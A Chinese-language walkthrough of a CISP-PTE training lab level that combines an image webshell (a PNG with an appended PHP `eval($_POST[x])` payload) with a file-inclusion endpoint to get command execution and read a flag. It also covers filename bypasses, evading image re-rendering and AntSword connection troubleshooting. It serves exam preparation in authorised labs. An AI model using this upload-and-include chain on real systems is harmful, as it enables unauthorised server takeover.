CISP-PTE文件上传实战:图片马与文件包含组合绕过全解析
备考 CISP-PTE 实操题的人几乎没有谁能绕开文件上传这个题型。我练到“文件上传5”这一关的时候已经会改包、会双写后缀了当时想的是几分钟拿下结果扎扎实实卡了一晚上。第二天老实从头做信息收集才发现这一关根本不是前面那种“拦一个点、绕一个点”的玩法它把文件类型校验、扩展名限制、真实图片内容校验、上传目录权限和文件包含触发全部串到了一起任何一个环节想当然都会被后续步骤打脸。这篇文章就把我第一次通关“文件上传5”的完整过程复盘一遍重点拆解每一层过滤的识别方法以及最终靠“图片马 文件包含”组合拳过关的思路。后面还有我在连接 webshell 时踩过的坑和排查清单给正准备刷 CISP-PTE 训练题或者考试现场遇到同类题的你一个可以直接抄的作业。老规矩先泼盆冷水下面所有操作只适用于 CISP-PTE 授权靶场、自己搭的 CTF 靶机或备考训练环境。把这些手法往真实站点上试性质就完全不同了这个边界自己心里要有数。1. 先把第5关的过滤逻辑摸清楚1.1 CISP-PTE 实操题里的文件上传题型长什么样CISP-PTE 的实操环境是本地局域网内的授权靶机不依赖外网题型基本都是经典 Web 漏洞的固定场景。文件上传在这种考试里出现频率非常高因为它的考点可以拆得非常细比如前端 JS 校验、后端 Content-Type 校验、扩展名黑名单、扩展名白名单、文件头校验、二次渲染、文件名重命名、上传目录不可执行、需要配合文件包含触发等等。前几关通常相对单纯比如只做了前端限制或者只改了 MIME 类型就能过。但练到编号带“5”的这类题目时平台就开始把两三个考点组合起来出这时候单一 payload 打天下的思路必然失效。你先要判断的是题目到底要考哪一种组合而不是继续盲目试后缀。我的判断方法是先看上传结果的三类回显上传后直接提示“文件格式不允许”“类型错误”多数是后端做了类型或扩展名判断。上传后提示成功但返回的路径里文件名变成了随机字符串说明存在重命名逻辑。上传后访问 404或者直接变成下载说明文件虽然写进去了但目标目录可能不允许解析脚本。这三种现象往往不是互斥的第5关这类题经常同时出现好几种。1.2 为什么前面的绕过手法在第5关会集体失效第一次打这关时我依次试了最常见的一批手法改名shell.php、改成shell.php5、用大小写shell.PhP、双写扩展名shell.pphphp甚至试了shell.php.jpg这种花活。结果无一例外被拦截。这里要先建立一个认知当一个上传点既检查扩展名、又检查文件的内容格式时前面那些“基于黑名单”的绕过思路就会大面积失效。黑名单的特点是管理员列了几个危险后缀你能绕说明规则不全而白名单是只允许特定后缀比如只允许jpg、png、gif那你怎么变形都白搭。第5关从返回信息看服务端大概率是这样一段逻辑检查上传文件扩展名是否在白名单内不在就拒绝检查文件真实类型比如通过exif_imagetype()或getimagesize()判断不是图片就拒绝对上传后的文件进行重命名并使用原扩展名保存。换句话说题目不关心你是不是shell.php它只接受“看起来是图片”的文件上传后还给你换成随机名字。想靠直接上传 PHP 文件拿 webshell这条路在逻辑上就不通。1.3 第5关真正的目标是什么搞清楚限制之后我就换了个思路既然上传点只认图片那我不如先上传一个“看起来完全是图片、但内部藏着 PHP 代码”的文件。服务器检查图片时会认为它是合法的等文件落地后我再想办法让服务器把这张图片当作 PHP 来解析。这种触发方式在真实环境里通常有三条路站点本身存在文件包含漏洞通过包含点读取图片让代码执行中间件存在解析漏洞比如1.jpg/.php或老版本 Apache 的多后缀解析能把.htaccess传上去让目录下的.jpg都被当作 PHP 解析。训练靶场一般不会让第三条路走得太轻松因为.htaccess也不是图片。我们最终要寻找的还是第一种文件包含。所以第5关的完整解题链应该是制作图片马 → 上传成功 → 找到文件包含入口 → 访问包含后的 URL → 连上 webshell → 读取 flag。2. 开局一段正常的图片上传请求信息量非常大2.1 别急着改包先完整看一次请求很多朋友刷题时习惯直接开 Burp Suite 拦截把后缀改成.php就发出去这其实有点浪费。我更倾向于先正常上传一张合规的 PNG 图片把它当作一次信息收集记录完整的请求和响应结构。我在第5关的靶机页面上随便拖了一张小图片上传Burp 里抓到的数据包大概是这样的POST /upload.php HTTP/1.1 Host: 192.168.1.10 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryA1b2C3d4 ------WebKitFormBoundaryA1b2C3d4 Content-Disposition: form-data; namefile; filenametest.png Content-Type: image/png PNG ... 文件二进制内容 ... ------WebKitFormBoundaryA1b2C3d4--不要小看这个包里面的三类信息对判断过滤方式很重要filenametest.png对应服务端拿到的文件名和后缀Content-Type: image/png对应服务端可能检查的 MIME 类型文件本身的二进制内容对应服务端可能调用的图片检查函数。正常上传成功后页面返回了一个相对路径类似uploads/63f2b8c1a4d2e9.png。这个路径先记住后面每一步都要用它来判断文件是否真的落地了。2.2 从响应判断服务端语言和中间件做文件上传题最好先确认后端语言。CISP-PTE 训练环境里 PHP 居多但偶尔也会有 Java 或 ASP 类题目payload 风格完全不同。判断手段很简单不用扫描器人工就能完成看 URL 后缀比如upload.php、show.php基本就锁定 PHP响应头里有X-Powered-By: PHP/7.x也能直接确认如果上传一个不存在的路径观察 404 页面的风格也能看出中间件类型故意传入错误格式服务端报错信息里有时会暴露绝对路径或函数名比如出现getimagesize()、move_uploaded_file()之类的词汇。我遇到的环境明显是 PHP而且上传接口是单独的upload.php处理完成后返回文件路径。这些信息看着基础但很多人在考试场景里一紧张就忽略后面找包含点、拼路径时就会很被动。2.3 上传成功后的返回路径可能藏着“改名陷阱”第5关第一次上传正常图片后返回的访问路径是uploads/63f2b8c1a4d2e9.png和我上传的test.png完全对不上。这说明服务端对文件进行了重命名不是原样保存。这个细节必须尽早确认因为它直接决定了后续两个操作你不需要再纠结原文件名后续访问路径要以响应里的新文件名为准文件扩展名大概率沿用白名单内类型也就是说保存后的文件叫xxx.png或xxx.jpg。如果改包上传了一个.php文件即使成功落地响应里也可能返回一个.php名字或者仍然被转成.jpg。这个“是否改名”的差别会影响你接下来的调试方向我会在后面具体讲。2.4 找文件包含入口是决定成败的一步严格来说第5关的失分点往往不是图片马做不出来而是上传成功之后不知道该往哪里访问。我在正常上传图片的流程中注意到了一个页面参数show.php?fileuploads/xxx.png这就是典型的文件包含入口。通过file参数读取服务器上的文件并展示图片。这种入口一旦存在意味着服务器可能用了类似下面的代码来加载文件$file $_GET[file]; include($file);如果这个include没有做好路径过滤而我们又能控制file参数的内容那就可以用它去包含任意文件。后续上传一张“带 PHP 代码的图片”再让include把它加载进来PHP 引擎就会把图片里的代码当作 PHP 执行。这一步是整个组合拳能否打成的核心。2.5 工具选择上的一点建议抓包改包我用的是 Burp Suite备考机里如果不好装用 OWASP ZAP 也能完成同样的工作。ZAP 的“Request Editor”可以直接改 multipart 请求原理和 Burp 的拦截转发完全一样。工具影响不大真正影响成功率的是你对 HTTP 请求结构的理解。改后缀前先想清楚自己是在改哪一部分服务端可能用哪个变量取值。filename和后缀是给扩展名检查用的Content-Type是给 MIME 检查用的文件二进制则决定getimagesize()这类内容检查能否通过。三者分开对待就不会像无头苍蝇一样乱试。3. 第一道坎Content-Type 和 MIME 类型到底要不要改3.1 先搞懂服务端代码会怎么取值文件上传请求里有一个字段叫Content-Type很多新手会以为这是指文件真正的类型。实际上它只是一个声明完全由客户端控制服务端如果不校验就没意义校验了也不代表它可信。在 PHP 里有个对应的写法$type $_FILES[file][type]; if ($type ! image/jpeg $type ! image/png) { die(文件类型错误); }这种判断方式就是只信浏览器给的包不验证文件本身。遇到这种情况我们只要抓包后手动把Content-Type: application/octet-stream改成Content-Type: image/png就能绕过是不折不扣的“纸老虎”。3.2 第5关里改 MIME 的实际结果在打第5关时我先尝试把shell.php文件的请求包里Content-Type改成了image/png同时把filename保留为shell.php。这次的结果和最初不一样了拦截提示变了。之前直接传.php时服务端会拒绝常见的提示是“文件类型错误”。但改了 MIME 类型之后报错信息变了说明第一层 MIME 检查确实被绕过了。但我还没高兴太久上传后的访问路径显示文件被改名了而且后缀并不是.php继续往下访问才发现它根本没有被当作脚本执行。这个现象说明服务端还做了更严格的检查单单欺骗Content-Type不够。这里也给出一个识别经验如果你改了 MIME 后上传仍然失败那大概率还有扩展名白名单在兜底如果上传成功但访问无效则需要继续看文件内容校验和触发方式。不要因为一次成功就觉得自己已经拿到 shell。3.3 MIME 校验在考试题里的出题比例根据我刷题的经验CISP-PTE 系类训练题里单纯考 MIME 类型的题目通常安排在前面比如第二关、第三关会直接让你改包上传成功。到第5关MIME 检查只能算第一层筛子后面还有扩展名检查和真实图片校验。但这并不意味着 MIME 就不需要改了。后面做图片马时如果你连Content-Type都不伪装可能在最开始就被服务端挡掉根本走不到后续环节。正确的顺序是先把 MIME 改成image/png或image/jpeg再把文件名和后缀调整到白名单范围内最后确保文件内容本身是一张真图加 payload。3.4 一个容易踩的误区把filename和Content-Type改得自相矛盾很多人第一次做组合绕过时会犯一个低级错误文件名叫shell.jpgContent-Type却还是application/x-php。看似只是字段不规范但有些靶机的过滤代码会把这两个值做交叉校验比如检查Content-Type中是否包含image或者检查文件名后缀和类型是否匹配。所以我在后面几次尝试中会把请求里的字段尽量改成逻辑一致的状态filenamexxx.png或filenamexxx.jpgContent-Type: image/png或image/jpeg。不要小看这点它能帮你排除掉一些完全不该出现的额外报错让你更准确地定位真正的拦截点。4. 第二道坎扩展名限制到底是黑名单还是白名单4.1 常见黑名单绕过方式要心里有数按 CISP-PTE 的出题习惯扩展名黑名单题是必练的基础项。常见的可执行 PHP 扩展名不只是.php还包括.php3.php5.phtml.pht有些老系统还支持.php.、.php::$DATA、.php%00.jpg这类截断写法。这些技巧在特定题目里确实有效尤其是过滤逻辑写得比较粗糙的题目比大小写、双写往往就能糊弄过去。比如如果服务端用黑名单把php替换成空字符串那我传shell.pphphp时替换结果为shell.php恰好能落成可用脚本如果服务端没对后缀做大小写归一化那shell.pHp也可能绕过。4.2 第5关暴露出的真实校验逻辑更接近白名单我在第5关里把这些黑名单绕过都试了一遍结果非常统一上传全部失败返回的提示都是“仅支持 png/jpg 文件”。这个响应话术通常暴露了后面代码里有一个in_array或in_array(strtolower($ext), [jpg,jpeg,png])。它不关心你有没有伪装扩展名它只接受jpg、jpeg、png这类图片后缀。在这种白名单逻辑下任何包含php子孙后缀的文件名都会直接在入口处被拦住常规的后缀绕过没有用。如果你碰到这情况就不要再和扩展名死磕了。继续试验.htaccess也没有太大意义因为那文件本身不是图片而且服务端校验的是文件上传请求里的文件名不会让你传.htaccess这种隐藏文件。4.3 白名单限制下的唯一出路让文件保存为图片扩展名既然服务端只让图片后缀落地那这关就不能强求 webshell 文件本身是.php。正确的文件名策略只有一个上传时把filename改成shell.png或shell.jpg让保存后的文件扩展名在uploads目录里看起来完全无害。这一步的本质是把你需要执行的 PHP 代码藏在一个图片文件里。服务端检查时看到的是合法图片但它不知道图片里那一段 PHP 代码会在后续文件包含中被触发。等真正执行时PHP 引擎看的不是扩展名而是代码内容。4.4 判断代码到底是“检查扩展名”还是“重命名扩展名”在实操中还要区分两种细节服务端只检查上传文件后缀是否在白名单内保存时保留原样服务端不管原后缀而是根据图片类型自动改成.png或.jpg。如果只是检查、不重命名那我们上传shell.jpg访问路径就会是shell.jpg如果做了重命名响应路径会变成随机串加.jpg。第5关我遇到的是后者平台直接把上传的图片改成了随机文件名。判断方法很简单上传一张正常图片看返回路径和上传文件名是否一致。不一致就说明有重命名逻辑后续访问路径要用响应里的路径不能用你自己构造的名字。5. 组合拳的临门一脚图片马和文件包含怎么配合5.1 制作图片马不只有一种方法真正决定第5关成败的是能否做出一张“既通过图片内容校验、又包含可执行代码”的图片马。最简单粗暴的办法是直接用命令行拼接。Linux 下这样操作cp normal.png shell.png echo ?php eval($_POST[x]);? shell.pngnormal.png是一张正常的 PNG 图片echo命令会把 PHP 代码追加到图片末尾。很多 PHP 的图片检查函数只读取文件头部信息不会管文件尾部有没有多余数据所以这种拼接大概率能通过检查。而且 PHP 解析文件时遇到?php ... ?标签就会执行中间代码不会因为前面的 PNG 内容报错。如果是在 Windows 环境下也可以用 CMD 的命令copy normal.png /b shell.txt /b shell.png实际操作时我会更倾向用GIF89a开头来构造因为 GIF 头部检查在很多老代码里非常宽松。但 PNG 也完全没问题。5.2 为什么直接访问图片马不执行很多新人不理解我明明把 PHP 代码塞进图片了访问uploads/shell.png为什么不执行原因很简单Web 服务器不会因为文件内容里有 PHP 代码就把一个.png后缀的文件交给 PHP 引擎解析。它只会把.png当成普通静态资源直接返回或者根据 Content-Type 当作图片下载。PHP 代码只有当文件被 PHP 引擎以脚本方式加载时才会执行。所以图片马本身只是“弹药”还需要一个“枪”来发射它。这个枪就是把图片文件交给某个 PHP 页面去include或require的入口。第5关里我找到的入口正是前面提到的show.php?fileuploads/xxx.png。当服务端使用include($file)去包含这个文件时PHP 引擎会无视扩展名直接对文件内容做语法解析于是藏在图片里的?php eval($_POST[x]);?就被执行了。5.3 用文件包含入口连 webshell 的完整姿势这里有个关键操作细节连接蚁剑时URL 并不是填图片本身而是填文件包含入口的地址。假设靶机地址是http://192.168.1.10上传后的图片路径是uploads/63f2b8c1a4d2e9.png那蚁剑里需要填写URL: http://192.168.1.10/show.php?fileuploads/63f2b8c1a4d2e9.png 密码: x 连接方式: PHP蚁剑发起请求时会向这个 URL 发送 POST 数据show.php会正常执行自身的逻辑把file参数指向的图片文件 include 进来图片中的eval($_POST[x])就会在当前请求上下文中执行读取到蚁剑发来的 POST 内容。这样一来即使最终保存的文件后缀是.png我们也拿到了一个可用的 PHP webshell 通道。这里要注意的是蚁剑连接成功后你看到的“虚拟终端”其实运行在这样的调用链里POST /show.php?fileuploads/xxx.png → include(uploads/xxx.png) → 执行图片内 eval → 解析蚁剑命令所以只要文件包含点可用这个过程就完全成立。5.4 成功执行命令后怎么快速定位 flag连上 webshell 后使用蚁剑虚拟终端执行命令。习惯先做系统识别id uname -a pwd ls -laCISP-PTE 实操题里的 flag 文件通常放在一些固定位置常见的有/flag/flag.txt/root/flag.txt/home/wwwroot/flag.txtWeb 根目录下的flag文件如果上面路径都没有就用递归搜索find / -name flag* 2/dev/null也可能需要读当前目录下的文件find / -name *flag* -o -name *.txt 2/dev/null拿到 flag 内容后回填到考试平台提交即可。第5关到这里就算打通了。5.5 二次渲染是个隐藏大坑有些靶机会在上传后对图片做二次渲染比如用 PHP 的imagecreatefrompng()重新生成图片然后保存新图片。如果遇到这种逻辑简单的文件尾部拼接会被二次渲染过滤掉因为生成的新图片只保留了原图的像素数据不会保留附加的 payload。判断方法很简单上传一张带 payload 的图片马再下载上传后的文件用文本编辑器打开看尾部内容是否还在。如果没了说明存在二次渲染。针对二次渲染思路要换成“找渲染前后不变的字节区域”。通常做法是先上传一张纯色图片下载渲染结果然后用工具对比原始图片和渲染后图片的字节找到未被修改的数据块把 PHP 代码插入这个位置再上传。因为渲染逻辑会把这个区域原样保留payload 才能存活。这个技巧在 CISP-PTE 训练里不一定每一关都碰到但一旦碰到能现场想明白的人很少。提前了解能帮你省下大量试错时间。6. 通关后仍然值得收藏的排坑清单6.1 上传路径 404 的排查方法很多人明明上传成功访问返回的路径却 404。优先检查三件事是否复制了响应里的完整路径而不是你自己猜测的文件名uploads目录是否真的存在有些靶机把文件保存在其他目录是否因为重命名逻辑实际保存文件名和上传文件名不一致。这些通过正常上传一张图片就能验证。先用完全合法的文件走一遍全流程确认返回路径可访问再考虑做 payload能避免大量无效折腾。6.2 蚁剑连接失败的常见原因第5关最容易卡人的是蚁剑连接不上。我整理了一张排查表现象可能原因处理方式连接时提示失败URL 路径填错检查show.php?file后是否正确带上平台返回的图片路径连接失败且返回正常但无回显实际没有通过 include 执行先用浏览器访问包含入口看图片内容是否被解析代码明明在图片里但执行不了图片被二次渲染清除了 payload下载上传后的文件检查尾部是否还有 PHP 代码命令执行无响应PHP 开启了disable_functions改用读取文件类脚本或尝试其他可用函数包含点对参数做了过滤include前拼接了路径前缀尝试用相对路径绕过或寻找其他包含参数这里特别要强调一个新手容易犯的错误蚁剑填 URL 时把密码位置填成了x但代码里写的是$_POST[x]蚁剑发请求时会用“密码”这个字段值填充 POST 参数。如果你设置的密码为x那么发送的数据就是x...。只要代码和配置一致就能连上。如果连不上先用 Burp 手工发一个 POST 请求测试POST /show.php?fileuploads/xxx.png HTTP/1.1 Host: 192.168.1.10 Content-Type: application/x-www-form-urlencoded xphpinfo();如果响应里出现 PHP 的信息页说明数据链路没问题剩下的就是蚁剑配置问题。6.3 图片马导致的 500 错误要怎么看图片马触发时出现 500 错误通常不是 PHP 代码本身有毒而是图片头部有一些非 PHP 内容被include时输出了。文件包含执行时图片前面的二进制数据会被当成 PHP 引擎的“非法文本”但因为它们不在?php ?标签内部PHP 会原样输出一般不会报 500。如果真出现 500优先怀疑是 PHP 代码写错了比如标签写成了短标签?而当前环境关闭了short_open_tag。建议统一使用标准写法?php不要图省事用短标签。另外图片马最好保持“图片头部 PHP 代码 可选的尾部填充”不要在多处插入多个?php ?否则调试时很难判断是哪一段代码引发了语法错误。6.4 不是每次都要做图片马但一定要会构造思路最后说点个人的心得。文件上传题做到后面拼的不是记忆多少绕过后缀而是面对一个未知过滤点时能不能系统地把每层校验拆开再逐层构造对应的数据。“文件上传5”这关并没有引入多惊奇的算法它只是把 MIME 校验、扩展名白名单、图片内容校验、重命名逻辑和文件包含位点这几个常见知识点串在了一起。把这条链路完整走通一次之后再看到类似“图片上传 预览/展示 文件名随机化”的组合你就知道整套打法了。在授权靶场里花时间把每一个拦截点都摸透考试真遇到时才能稳。练的时候多抓包、多看响应、多记录路径这些笨功夫最后都会体现在答题速度上。